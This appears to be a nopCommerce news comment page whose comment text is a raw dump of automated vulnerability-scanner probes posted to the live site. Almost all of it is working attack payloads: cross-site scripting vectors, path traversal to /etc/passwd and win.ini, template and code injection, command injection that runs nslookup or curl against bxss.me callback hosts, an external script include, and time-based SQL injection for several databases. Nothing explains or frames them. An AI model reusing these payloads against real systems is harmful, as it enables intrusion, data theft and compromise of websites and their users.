nopCommerce new release!

This is a sample comment...

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

xfs.bxss.me

'"

<!--

/../../../../../../../../../../windows/system32/BITSADMIN.exe

'"()&%<zzz><ScRiPt >gmy0(9517)</ScRiPt>

response.write(9338899*9159759)

'+response.write(9338899*9159759)+'

'"()&%<zzz><ScRiPt >gmy0(9605)</ScRiPt>

"+response.write(9338899*9159759)+"

<% response.write(9338899*9159759) %>

dO6uYA1l

9863352

+response.write(9338899*9159759)'

MHmd0sp7: bzuEYPoc

bfg4064＜s1﹥s2ʺs3ʹhjl4064

bfgx6194%C0%BEz1%C0%BCz2a%90bcxhjl6194

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

<%={{={@{#{${dfb}}%>

file:///etc/passwd

<th:t="${dfb}#foreach

<esi:include src="http://bxss.me/rpb.png"/>

../

echo etaevd$()\ aiiypw\nz^xyu||a #' &echo etaevd$()\ aiiypw\nz^xyu||a #|" &echo etaevd$()\ aiiypw\nz^xyu||a #

./

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

&echo bammwp$()\ rocved\nz^xyu||a #' &echo bammwp$()\ rocved\nz^xyu||a #|" &echo bammwp$()\ rocved\nz^xyu||a #

|echo nnbunu$()\ acqale\nz^xyu||a #' |echo nnbunu$()\ acqale\nz^xyu||a #|" |echo nnbunu$()\ acqale\nz^xyu||a #

dfb{{98991*97996}}xca

expr 9000267057 - 987219

(nslookup -q=cname hituyhtfiyqjy6f9f1.bxss.me||curl hituyhtfiyqjy6f9f1.bxss.me))

${9999835+9999424}

dfb[[${98991*97996}]]xca

$(nslookup -q=cname hitendidwwxil4a38c.bxss.me||curl hitendidwwxil4a38c.bxss.me)

&nslookup -q=cname hithxtaiebplq1c39e.bxss.me&'\"`0&nslookup -q=cname hithxtaiebplq1c39e.bxss.me&`'

dfb__${98991*97996}__::.x

&(nslookup -q=cname hitkbvdfufnws3316d.bxss.me||curl hitkbvdfufnws3316d.bxss.me)&'\"`0&(nslookup -q=cname hitkbvdfufnws3316d.bxss.me||curl hitkbvdfufnws3316d.bxss.me)&`'

|(nslookup -q=cname hitpvqkauogvm51897.bxss.me||curl hitpvqkauogvm51897.bxss.me)

`(nslookup -q=cname hitaeisgqrztr8d5ad.bxss.me||curl hitaeisgqrztr8d5ad.bxss.me)`

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

;(nslookup -q=cname hitfpxftlvxcsfd245.bxss.me||curl hitfpxftlvxcsfd245.bxss.me)|(nslookup -q=cname hitfpxftlvxcsfd245.bxss.me||curl hitfpxftlvxcsfd245.bxss.me)&(nslookup -q=cname hitfpxftlvxcsfd245.bxss.me||curl hitfpxftlvxcsfd245.bxss.me)

|(nslookup${IFS}-q${IFS}cname${IFS}hittbzpsbshqy58790.bxss.me||curl${IFS}hittbzpsbshqy58790.bxss.me)

<ScRiPt >gmy0(9874)</ScRiPt>

'.gethostbyname(lc('hitvt'.'wsgneqxl40ae5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(66).chr(107).chr(80).'

&(nslookup${IFS}-q${IFS}cname${IFS}hitqgreukbzxf6ccd2.bxss.me||curl${IFS}hitqgreukbzxf6ccd2.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitqgreukbzxf6ccd2.bxss.me||curl${IFS}hitqgreukbzxf6ccd2.bxss.me)&`'

".gethostbyname(lc("hittp"."gajzqkijbd8bf.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(70).chr(104).chr(84)."

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

<W2VBBE>UVCGA[!+!]</W2VBBE>

gethostbyname(lc('hitfo'.'fumwnpdlca226.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(79).chr(121).chr(80)

';print(md5(31337));$a='

";print(md5(31337));$a="

<script>gmy0(9441)</script>

${@print(md5(31337))}

${@print(md5(31337))}\

<script>gmy0(9286)</script>9286

'.print(md5(31337)).'

<ScR<ScRiPt>IpT>gmy0(9984)</sCr<ScRiPt>IpT>

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

<ScRiPt
>gmy0(9400)</ScRiPt>

ctime
sleep
p0
(I30
tp1
Rp2
.

/etc/shells

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9342></ScRiPt>

../../../../../../../../../../../../../../etc/shells

HttP://bxss.me/t/xss.html?%00

c:/windows/win.ini

bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(99).concat(67).concat(112).concat(88)+(require"socket"
Socket.gethostbyname("hitdk"+"ueuachhhb966c.bxss.me.")[3].to_s)+"

bxss.me

'+'A'.concat(70-3).concat(22*4).concat(121).concat(70).concat(117).concat(73)+(require'socket'
Socket.gethostbyname('hitzu'+'grwmryji3bf6b.bxss.me.')[3].to_s)+'

Http://bxss.me/t/fit.txt

NewsCommentAdd

'A'.concat(70-3).concat(22*4).concat(121).concat(66).concat(116).concat(88)+(require'socket'
Socket.gethostbyname('hitob'+'jgosdijy6b6c7.bxss.me.')[3].to_s)

http://bxss.me/t/fit.txt?.jpg

<isindex type=image src=1 onerror=gmy0(9109)>

NewsCommentAdd/.

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9333'>

<body onload=gmy0(9856)>

redirtest.acx

<img src=//xss.bxss.me/t/dot.gif onload=gmy0(9910)>

<img src=xyz OnErRor=gmy0(9663)>

<img/src=">" onerror=alert(9532)>

&n953649=v920086

%0D%0A%3C%53%63%52%69%50%74%20%3E%67%6D%79%30%289682%29%3C%2F%73%43%72%69%70%54%3E

)

!(()&&!|*|*|

\u003CScRiPt\gmy0(9189)\u003C/sCripT\u003E

^(#$!@#$)(()))******

&lt;ScRiPt&gt;gmy0(9847)&lt;/sCripT&gt;

%F6<img zzz onmouseover=gmy0(96841) //%F6>

<input autofocus onfocus=gmy0(9640)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{zzz:Expre/**/SSion(gmy0(9797))}

'"()

xe0QV
<ScRiPt >gmy0(9672)</ScRiPt>

'&&sleep(27*1000)*iykxcp&&'

"&&sleep(27*1000)*thtrzl&&"

<WDIHCQ>V7SLB[!+!]</WDIHCQ>

'||sleep(27*1000)*gijztd||'

"||sleep(27*1000)*mdkycy||"

<ifRAme sRc=9124.com></IfRamE>

<a5cD4jD x=9158>

<img sRc='http://attacker-9632/log.php?

<aGdffcX<

nRvTjowI

-1 OR 5*5=25 --

-1 OR 5*5=26 --

-1 OR 5*5=25

-1 OR 5*5=26

-1' OR 5*5=25 --

-1' OR 5*5=26 --

-1" OR 5*5=25 --

-1" OR 5*5=26 --

-1' OR 5*5=25 or 'cZmPepWa'='

-1' OR 5*5=26 or 'cZmPepWa'='

-1" OR 5*5=25 or "2tqAwYaK"="

-1" OR 5*5=26 or "2tqAwYaK"="

*if(now()=sysdate(),sleep(15),0)

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

-1 waitfor delay '0:0:15' --

Ge7P1nBP'; waitfor delay '0:0:15' --

Lz6OcMJm'); waitfor delay '0:0:15' --

kizDxnga')); waitfor delay '0:0:15' --

-1 OR 837=(SELECT 837 FROM PG_SLEEP(15))--

-1) OR 165=(SELECT 165 FROM PG_SLEEP(15))--

-1)) OR 340=(SELECT 340 FROM PG_SLEEP(15))--

qh0iC3MG' OR 496=(SELECT 496 FROM PG_SLEEP(15))--

AA0OHP4g') OR 57=(SELECT 57 FROM PG_SLEEP(15))--

u7BBEP4i')) OR 584=(SELECT 584 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'"

%C0%A7%C0%A2%2527%2522\'\"

@@5emys

(select 198766*667891)

(select 198766*667891 from DUAL)